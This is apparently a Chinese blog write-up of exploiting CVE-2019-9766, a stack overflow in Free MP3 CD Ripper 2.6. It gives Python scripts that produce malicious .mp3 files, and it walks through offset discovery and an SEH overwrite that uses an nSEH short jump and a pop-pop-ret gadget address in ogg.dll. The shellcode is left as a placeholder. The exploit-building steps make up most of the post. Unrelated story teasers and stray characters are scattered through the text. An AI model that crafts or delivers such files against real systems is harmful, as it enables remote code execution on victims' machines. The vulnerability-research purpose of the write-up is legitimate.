CVE-2019-9766 簡單棧溢出

CVE-2019-9766

Free MP3 CD Ripper 2.6版本中存在棧緩沖區(qū)溢出漏洞。遠程攻擊者可借助特制的.mp3文件利用該漏洞執(zhí)行任意代碼窝撵。

checksec

沒有保護,意味可以在棧上面寫shellcode執(zhí)行

得到Crash

生成測試文件

pay = "A"*10000

try:
 f=open("test.mp3","w")
 print ("[+]Creating %s bytes mp3 Files..."%len(pay))
 f.write(pay)
 f.close() 
 print ("[+]mp3 File created successfully!")
except:
 print ("File cannot be created!")</pre>

將10000個“A"字節(jié)寫入到 test.mp3 文件內(nèi)挣惰,IDA掛上調(diào)試器開始調(diào)試

debugger setup:要在加載dll文件的時候自動下斷點农曲,以免漏洞函數(shù)在dll文件中。判斷之后確定漏洞函數(shù)在主程序 fcrip.exe 里面

crash

確定溢出長度

使用cyclic生成10000個不重復的文件厉斟,使用windbg捕獲異常退出(SEH)

joe1sn@MSI:/mnt/d/HackTools/CVE/Windows/CVE-2019-9766$ cyclic 10000 > sample.mp3</pre>
GetSEH

發(fā)現(xiàn)EIP寄存器被61667062覆蓋挚躯,但是程序是小端序,真實的數(shù)據(jù)是62706661

使用HxD得到數(shù)據(jù)位置

GetBuffer

確定漏洞函數(shù)

0x1014 = 4116擦秽,最終獲得偏移码荔,那么重新編寫生成測試文件的腳本

pay = "A"*4112

try:
 f=open("test.mp3","w")
 print ("[+]Creating %s bytes mp3 Files..."%len(pay))
 f.write(pay)
 f.close() 
 print ("[+]mp3 File created successfully!")
except:
 print ("File cannot be created!")</pre>

為了確定漏洞函數(shù),使用 IDA 動態(tài)調(diào)試

crashed2

得到棧上的地址感挥,再減去之前的填充目胡,得到漏洞函數(shù)

GetVlunFuc

在函數(shù)下斷點后,經(jīng)簡單逆向可以發(fā)現(xiàn):

vuln1

這里的Len>=0x200的時候才允許我們退出

vuln2

這個函數(shù)實現(xiàn)的是讀取功能链快,將我們提供的源文件數(shù)據(jù)寫到OverflowedStack棧上面,然后是棧的空間大忻际:

vuln3

綜上

棧地大小是:0x1010 = 4112

寫入函數(shù)的循環(huán)可以執(zhí)行:0x2000 = 8192次

最終造成棧溢出

準備編寫EXP

Windows的棧的結(jié)構(gòu)不大一樣域蜗,OverflowedStack + 4116的位置:

GetEXP1
GetEXP2

網(wǎng)上的同用方法是覆蓋到EIP,然后調(diào)用SEH到Next_SEH噪猾,Next_SEH存一個短jmp跳到下面的shellcode

這樣做的好處是不用知道shellcode棧上的地址也可以進行跳轉(zhuǎn)執(zhí)行

img

這樣得到的EXP:

offset="A"*4116
NSEH="\xeb\x06\x90\x90"
SEH="\x84\x20\xe4\x66"
nops="\x90"*5

shellcode = "....."
pad = "B"*(316-len(nops)-len(shellcode))
payload = offset+NSEH+SEH+nops+shellcode+pad

try:
 f=open("Sample3.mp3","w")
 print ("[+]Creating %s bytes mp3 Files..."%len(payload))
 f.write(payload)
 f.close() 
 print ("[+]mp3 File created successfully!")
except:
 print ("File cannot be created!")</pre>

成功上線


Success

EXP效果分析

大致過程:

  • 1. EIP錯誤導致該段棧幀調(diào)用 S.E.H

  • 2. S.E.H 被我們修改為

    ogg.dll:66E42084 pop     ebx
    ogg.dll:66E42085 pop     ebp
    ogg.dll:66E42086 retn
    

    利用 ogg.dll 里面的gadget霉祸,抬棧過后再返回,這樣SEH的執(zhí)行就交給了 nSEH

  • 3. 返回地址根據(jù) jmp長度可以直接跟shellcode袱蜡,也可以用nop滑入shellcode

所以這里利用了Windows中的SEH攻擊

最終得到簡化的EXP

from pwn import *

shellcode = "..."

offset="A"*4116
shellcode_addr = 0x0879FEA8
pop_ebx_ebp = 0x66E42084

payload = offset
payload += "\xEB\x06\x90\x90" # asm("jmp 6;nop;nop")
payload += p32(pop_ebx_ebp) #up the stack
payload += shellcode

try:
    f=open("PWN.mp3","w")
    success("Creating %s bytes mp3 Files..."%len(payload))
    f.write(payload)
    f.close() 
    success("mp3 File created successfully!")
except:
    print ("File cannot be created!")
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末丝蹭,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子坪蚁,更是在濱河造成了極大的恐慌奔穿,老刑警劉巖镜沽,帶你破解...
    沈念sama閱讀 216,372評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異贱田,居然都是意外死亡缅茉,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評論 3 392
  • 文/潘曉璐 我一進店門男摧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來蔬墩,“玉大人,你說我怎么就攤上這事耗拓∧绰” “怎么了?”我有些...
    開封第一講書人閱讀 162,415評論 0 353
  • 文/不壞的土叔 我叫張陵乔询,是天一觀的道長樟插。 經(jīng)常有香客問我,道長哥谷,這世上最難降的妖魔是什么岸夯? 我笑而不...
    開封第一講書人閱讀 58,157評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮们妥,結(jié)果婚禮上猜扮,老公的妹妹穿的比我還像新娘。我一直安慰自己监婶,他們只是感情好旅赢,可當我...
    茶點故事閱讀 67,171評論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著惑惶,像睡著了一般煮盼。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上带污,一...
    開封第一講書人閱讀 51,125評論 1 297
  • 那天僵控,我揣著相機與錄音,去河邊找鬼鱼冀。 笑死报破,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的千绪。 我是一名探鬼主播充易,決...
    沈念sama閱讀 40,028評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼荸型!你這毒婦竟也來了盹靴?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,887評論 0 274
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎稿静,沒想到半個月后梭冠,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,310評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡自赔,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,533評論 2 332
  • 正文 我和宋清朗相戀三年妈嘹,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片绍妨。...
    茶點故事閱讀 39,690評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡润脸,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出他去,到底是詐尸還是另有隱情毙驯,我是刑警寧澤,帶...
    沈念sama閱讀 35,411評論 5 343
  • 正文 年R本政府宣布灾测,位于F島的核電站爆价,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏媳搪。R本人自食惡果不足惜铭段,卻給世界環(huán)境...
    茶點故事閱讀 41,004評論 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望秦爆。 院中可真熱鬧序愚,春花似錦、人聲如沸等限。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽望门。三九已至形娇,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間筹误,已是汗流浹背桐早。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評論 1 268
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留厨剪,地道東北人勘畔。 一個月前我還...
    沈念sama閱讀 47,693評論 2 368
  • 正文 我出身青樓,卻偏偏與公主長得像丽惶,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子爬立,可洞房花燭夜當晚...
    茶點故事閱讀 44,577評論 2 353

推薦閱讀更多精彩內(nèi)容